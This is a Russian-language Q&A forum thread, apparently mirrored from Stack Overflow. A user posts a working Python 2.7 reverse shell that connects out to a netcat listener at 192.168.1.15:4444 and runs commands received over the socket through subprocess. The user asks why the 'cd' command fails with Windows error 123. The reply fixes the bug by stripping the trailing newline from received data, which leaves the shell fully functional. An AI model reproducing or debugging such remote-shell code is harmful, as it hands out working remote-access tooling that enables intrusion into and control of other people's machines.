WindowsError: [Ошибка 123] Неверный синтаксис имени файла, имени каталога или метки тома - PullRequest
0 голосов
/ 22 декабря 2018

Я делаю простую обратную оболочку Python 2.7, для функции смены каталога каждый раз, когда я набираю cd C: \ на моем сервере netcat, она выдает эту ошибку "WindowsError: [Ошибка 123] Имя файла, имя каталога или томневерный синтаксис метки: 'C: \\ n' "Вот мой код.

    import socket
    import os
    import subprocess
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    host = "192.168.1.15"
    port = 4444
    s.connect((host, port))
    s.send(os.getcwd() + '> ')
    def Shell():
        while True:
            data = s.recv(1024)
            if data[:2] == 'cd':
                os.chdir(data[3:])
            if len(data) > 0:
                proc = subprocess.Popen(data, shell = True ,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
                result = proc.stdout.read() + proc.stderr.read()
                s.send(result)
                s.send(os.getcwd() + '> ')
                print(data)
    Shell()

1 Ответ

0 голосов
/ 22 декабря 2018

Когда вы используете data = s.recv(1024) для получения данных с пульта, одновременно будет получен символ \n, сгенерированный при нажатии Ввод для завершения текущего ввода.

Так что вам просто нужно .strip() это или использовать [:-1], чтобы удалить последний символ (который \n), когда вы получаете данные.

data = s.recv(1024).strip()

или

data = s.recv(1024)[:-1]

может оба в порядке.

...